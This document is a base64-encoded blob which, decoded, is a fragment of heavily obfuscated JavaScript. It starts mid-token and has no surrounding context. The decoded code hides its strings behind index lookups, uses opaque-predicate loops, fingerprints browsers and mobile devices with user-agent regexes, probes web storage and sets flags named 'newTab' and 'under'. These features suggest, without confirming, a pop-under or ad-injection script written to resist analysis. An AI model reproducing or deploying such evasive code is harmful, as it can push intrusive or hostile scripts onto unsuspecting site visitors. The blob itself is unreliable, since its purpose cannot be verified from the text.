ZWZveHxmeGlvcy9pO1M9dzUuZjYoMjEyKTtqPXc1Llo2KDI1OSk7TD13NS5aNigyNDEpO3o9dzUuZjYoMTA5KTtCPXc1LmY2KDk3KTtJPXc1Llo2KDQxOCk7TT13NS5aNigzODgpO1c9dzUuWjYoNDM1KTtEPXc1LmY2KDM3NSk7VT13NS5aNigzNTgpO1I9dzUuZjYoMTcyKTtOPXc1LmY2KDIzOCk7SD13NS5aNig0ODcpO3E9dzUuWjYoMjIxKTtKPXc1LmY2KDIxMSk7Vj13NS5mNigyMTApOyQ9dzUuWjYoMTYyKTtRPXc1Llo2KDY0KTtHPXc1LmY2KDM0Mik7WT13NS5aNigxMjgpO0s9dzUuWjYoMjA4KTtaPXc1LmY2KDE0MSk7WD13NS5aNig0MzYpO3R0PXc1Llo2KDQ0MSk7ZXQ9dzUuWjYoMjgwKTtpdD13NS5mNigxNzcpO250PXc1Llo2KDEyKTtydD13NS5aNigyNzMpO290PXc1Llo2KDM1NSk7c3Q9L3dpbmRvd3MvO2F0PXc1Llo2KDI1OCk7Y3Q9Lyg/OmZ0cHxodHRwcz8pOlwvXC8oW15cL10rKS87dXQ9dzUuWjYoMjE4KTtodD13NS5mNig0NDIpO2Z0PXc1LmY2KDI2Myk7cHQ9dzUuWjYoMTY2KTtfdD13NS5aNigxMzgpO2x0PXc1Llo2KDMyOSk7ZHQ9dzUuWjYoNDEpO3Z0PXc1Llo2KDIwNyk7YnQ9dzUuWjYoMzYyKTttdD13NS5mNigxNjUpO2d0PXc1LmY2KDM3MSk7eXQ9dzUuWjYoMzYwKTtrdD13NS5aNigyMzkpO3d0PXc1LmY2KDM2Myk7eHQ9dzUuZjYoODIpO090PTk1MDI9PT0yNTAwPzB4MjE0Yzp3NS5mNigxNDgpO0N0PXc1LmY2KDE4NSk7RXQ9dzUuWjYoMTQ0KTtQdD13NS5mNigzMjApO1R0PXc1Llo2KDU1KTtBdD13NS5aNigzMTgpO0Z0PXc1Llo2KDE4OSk7U3Q9dzUuWjYoMTAxKTtqdD0vTVNJRVxzKyhbXGRcLl0rKS9pO0x0PXc1Llo2KDM0MCk7enQ9dzUuZjYoMTYwKTtCdD13NS5aNig0NDQpO0l0PXc1Llo2KDQxMyk7TXQ9dzUuZjYoNDU1KTtXdD13NS5mNig1MSk7RHQ9dzUuWjYoNDE1KTtVdD13NS5mNigyOTkpO1J0PXc1Llo2KDQxNik7TnQ9dzUuWjYoMzczKTtIdD13NS5aNig0MzApO3F0PXc1Llo2KDE2MSk7SnQ9dzUuZjYoMjQ4KTtWdD13NS5aNig0MjcpOyR0PXc1LmY2KDQyNCk7UXQ9dzUuZjYoMzUxKTtHdD13NS5aNigyOTApO1l0PXc1Llo2KDI4MSk7S3Q9dzUuWjYoMjk2KTtadD13NS5aNigyODYpO1h0PXc1LmY2KDE0Nik7dGU9dzUuWjYoNjApO2VlPXc1Llo2KDE0Myk7aWU9dzUuWjYoMjE1KTtuZT0vcmFkaW98Y2hlY2tib3gvaTtyZT13NS5mNigyNzUpO29lPXc1Llo2KDEyNCk7c2U9dzUuZjYoMjE2KTthZT13NS5aNigzMDIpO2NlPXc1LmY2KDExNyk7dWU9LzEyMDd8NjMxMHw2NTkwfDNnc298NHRocHw1MFsxLTZdaXw3NzBzfDgwMnN8YSB3YXxhYmFjfGFjKGVyfG9vfHNcLSl8YWkoa298cm4pfGFsKGF2fGNhfGNvKXxhbW9pfGFuKGV4fG55fHl3KXxhcHR1fGFyKGNofGdvKXxhcyh0ZXx1cyl8YXR0d3xhdShkaXxcLW18ciB8cyApfGF2YW58YmUoY2t8bGx8bnEpfGJpKGxifHJkKXxibChhY3xheil8YnIoZXx2KXd8YnVtYnxid1wtKG58dSl8YzU1XC98Y2FwaXxjY3dhfGNkbVwtfGNlbGx8Y2h0bXxjbGRjfGNtZFwtfGNvKG1wfG5kKXxjcmF3fGRhKGl0fGxsfG5nKXxkYnRlfGRjXC1zfGRldml8ZGljYXxkbW9ifGRvKGN8cClvfGRzKDEyfFwtZCl8ZWwoNDl8YWkpfGVtKGwyfHVsKXxlcihpY3xrMCl8ZXNsOHxleihbNC03XTB8b3N8d2F8emUpfGZldGN8Zmx5KFwtfF8pfGcxIHV8ZzU2MHxnZW5lfGdmXC01fGdcLW1vfGdvKFwud3xvZCl8Z3IoYWR8dW4pfGhhaWV8aGNpdHxoZFwtKG18cHx0KXxoZWlcLXxoaShwdHx0YSl8aHAoIGl8aXApfGhzXC1jfGh0KGMoXC18IHxffGF8Z3xwfHN8dCl8dHApfGh1KGF3fHRjKXxpXC0oMjB8Z298bWEpfGkyMzB8aWFjKCB8XC18XC8pfGlicm98aWRlYXxpZzAxfGlrb218aW0xa3xpbm5vfGlwYXF8aXJpc3xqYSh0fHYpYXxqYnJvfGplbXV8amlnc3xrZGRpfGtlaml8a2d0KCB8XC8pfGtsb258a3B0IHxrd2NcLXxreW8oY3xrKXxsZShub3x4aSl8bGcoIGd8XC8oa3xsfHUpfDUwfDU0fFwtW2Etd10pfGxpYnd8bHlueHxtMVwtd3xtM2dhfG01MFwvfG1hKHRlfHVpfHhvKXxtYygwMXwyMXxjYSl8bVwtY3J8bWUocmN8cmkpfG1pKG84fG9hfHRzKXxtbWVmfG1vKDAxfDAyfGJpfGRlfGRvfHQoXC18IHxvfHYpfHp6KXxtdCg1MHxwMXx2ICl8bXdicHxteXdhfG4xMFswLTJdfG4yMFsyLTNdfG4zMCgwfDIpfG41MCgwfDJ8NSl8bjcoMCgwfDEpfDEwKXxuZSgoY3xtKVwtfG9ufHRmfHdmfHdnfHd0KXxub2soNnxpKXxuenBofG8yaW18b3AodGl8d3YpfG9yYW58b3dnMXxwODAwfHBhbihhfGR8dCl8cGR4Z3xwZygxM3xcLShbMS04XXxjKSl8cGhpbHxwaXJlfHBsKGF5fHVjKXxwblwtMnxwbyhja3xydHxzZSl8cHJveHxwc2lvfHB0XC1nfHFhXC1hfHFjKDA3fDEyfDIxfDMyfDYwfFwtWzItN118aVwtKXxxdGVrfHIzODB8cjYwMHxyYWtzfHJpbTl8cm8odmV8em8pfHM1NVwvfHNhKGdlfG1hfG1tfG1zfG55fHZhKXxzYygwMXxoXC18b298cFwtKXxzZGtcL3xzZShjKFwtfDB8MSl8NDd8bWN8bmR8cmkpfHNnaFwtfHNoYXJ8c2llKFwtfG0pfHNrXC0wfHNsKDQ1fGlkKXxzbShhbHxhcnxiM3xpdHx0NSl8c28oZnR8bnkpfHNwKDAxfGhcLXx2XC18diApfHN5KDAxfG1iKXx0MigxOHw1MCl8dDYoMDB8MTB8MTgpfHRhKGd0fGxrKXx0Y2xcLXx0ZGdcLXx0ZWwoaXxtKXx0aW1cLXx0XC1tb3x0byhwbHxzaCl8dHMoNzB8bVwtfG0zfG01KXx0eFwtOXx1cChcLmJ8ZzF8c2kpfHV0c3R8djQwMHx2NzUwfHZlcml8dmkocmd8dGUpfHZrKDQwfDVbMC0zXXxcLXYpfHZtNDB8dm9kYXx2dWxjfHZ4KDUyfDUzfDYwfDYxfDcwfDgwfDgxfDgzfDg1fDk4KXx3M2MoXC18ICl8d2ViY3x3aGl0fHdpKGcgfG5jfG53KXx3bWxifHdvbnV8eDcwMHx5YXNcLXx5b3VyfHpldG98enRlXC0vaTtoZT13NS5aNigxNCk7ZmU9dzUuWjYoMjMpO3BlPXc1Llo2KDExMSk7X2U9dzUuWjYoMjYwKTtsZT0vbWFjaW50b3NoLztkZT13NS5mNig5MCk7dmU9dzUuZjYoMzMyKTtiZT13NS5mNigyMDApO21lPS9tb3ppbGxhLztnZT13NS5mNigxNzQpO3llPXc1LmY2KDEzNSk7a2U9dzUuZjYoMzc4KTt3ZT0vKD86XHcrKVwvKFtcZFwuXSspKD86JHxcc3xcL3xcKSkrL2k7eGU9dzUuWjYoMzQpO09lPXc1LmY2KDM3Nyk7Q2U9dzUuZjYoNDcyKTtFZT13NS5mNigxMTUpO1BlPXc1Llo2KDE5NCk7VGU9dzUuZjYoNDE0KTtBZT13NS5mNig2NSk7RmU9dzUuWjYoMTA3KTtTZT13NS5mNig0MDMpO2plPXc1LmY2KDI5Mik7TGU9dzUuWjYoNTgpO3plPXc1Llo2KDE2NCk7QmU9Lyg/Ok9QUnxPcGVyYXxPUGlPUylcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0llPXc1LmY2KDIyOSk7TWU9dzUuWjYoNDY3KTtXZT13NS5mNig0NjMpO0RlPXc1Llo2KDQzNyk7VWU9dzUuZjYoMTkzKTtSZT13NS5aNigzMyk7TmU9dzUuZjYoODUpO0hlPXc1LmY2KDQwOCk7cWU9dzUuZjYoMjApO0plPXc1Llo2KDk4KTtWZT13NS5mNigxMzYpOyRlPXc1LmY2KDI3Nyk7UWU9dzUuWjYoNyk7R2U9dzUuWjYoODYpO1llPXc1LmY2KDE3NSk7S2U9dzUuWjYoMjcxKTtaZT13NS5aNigzOTkpO1hlPXc1LmY2KDEzMyk7dGk9dzUuWjYoOTUpO2VpPXc1LmY2KDE1Mik7aWk9dzUuWjYoMzEyKTtuaT13NS5aNigyOTgpO3JpPXc1Llo2KDQzMyk7b2k9dzUuZjYoMTgzKTtzaT0vYW5kcm9pZHx3ZWJvc3xpcGhvbmV8aXBhZHxpcG9kfGJsYWNrYmVycnl8aWVtb2JpbGV8b3BlcmFccyttaW5pLzthaT13NS5aNigzODIpO2NpPXc1LmY2KDEyNyk7dWk9dzUuWjYoMzM2KTtoaT13NS5aNigyOTUpO2ZpPXc1Llo2KDMwNyk7cGk9dzUuZjYoMjUxKTtfaT13NS5mNig0MTkpO2xpPXc1LmY2KDMxKTtkaT13NS5aNigyNzQpO3ZpPXc1LmY2KDQ0Nik7Ymk9dzUuWjYoMTYzKTttaT13NS5mNig5NCk7Z2k9dzUuWjYoMjIwKTt5aT13NS5aNigzNTQpO2tpPXc1Llo2KDE4Nik7d2k9dzUuZjYoNDEyKTt4aT13NS5mNig0NDcpO09pPXc1Llo2KDQwNCk7Q2k9dzUuZjYoNTIpO0VpPXc1Llo2KDY4KTtQaT13NS5mNigzNSk7VGk9dzUuZjYoNTYpO0FpPXc1LmY2KDEwMyk7Rmk9dzUuWjYoMzc5KTtTaT13NS5mNig0NTEpO2ppPXc1Llo2KDQ3NSk7TGk9dzUuWjYoMjEpO3ppPXc1LmY2KDE3MSk7Qmk9dzUuZjYoMTMxKTtJaT13NS5mNig0ODgpO01pPXc1LmY2KDE4MCk7V2k9dzUuWjYoNDQ1KTtEaT0vYnV0dG9ufGlucHV0L2k7VWk9dzUuWjYoMTM0KTtSaT13NS5mNigyMjgpO05pPXc1LmY2KDc4KTtIaT13NS5aNig1NCk7cWk9dzUuWjYoMTY3KTtKaT13NS5mNig0NjUpO1ZpPXc1Llo2KDMzNSk7JGk9dzUuZjYoMTY5KTtRaT13NS5mNigzNjgpO0dpPXc1LmY2KDI4Nyk7WWk9dzUuWjYoMzQ4KTtLaT13NS5mNigzMDEpO1ppPXc1LmY2KDQ0KTtYaT13NS5mNigyNjQpO3RuPXc1LmY2KDc3KTtlbj13NS5mNig0NjApO25uPXc1LmY2KDMzNyk7cm49dzUuWjYoMTU3KTtvbj13NS5aNigzMjUpO3NuPXc1LmY2KDIzNyk7YW49dzUuZjYoNDg2KTtjbj13NS5mNigxNTUpO3VuPXc1Llo2KDEwNCk7aG49dzUuWjYoMzU2KTtmbj13NS5aNig0OCk7cG49dzUuZjYoMjQyKTtfbj13NS5mNig0MDApO2xuPXc1Llo2KDI2NSk7ZG49dzUuZjYoMjg0KTt2bj13NS5aNigyODgpO2JuPXc1LmY2KDQzOSk7bW49dzUuWjYoMzQxKTtnbj13NS5aNigyMDMpO3luPXc1LmY2KDIxNyk7a249dzUuWjYoMzIxKTt3bj13NS5mNig0MzIpO3huPXc1LmY2KDIyKTtPbj02NDc9PSg0OTguMjUsMjAwKT8oMS42OWUrMyw0NjkpOnc1LmY2KDk2KTtDbj13NS5mNigzODMpO0VuPXc1LmY2KDM1OSk7UG49dzUuWjYoMzUwKTtUbj0vXk9wZXJhXC8uKj9QcmVzdG9cLy4qP1ZlcnNpb25cLyhbXGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW05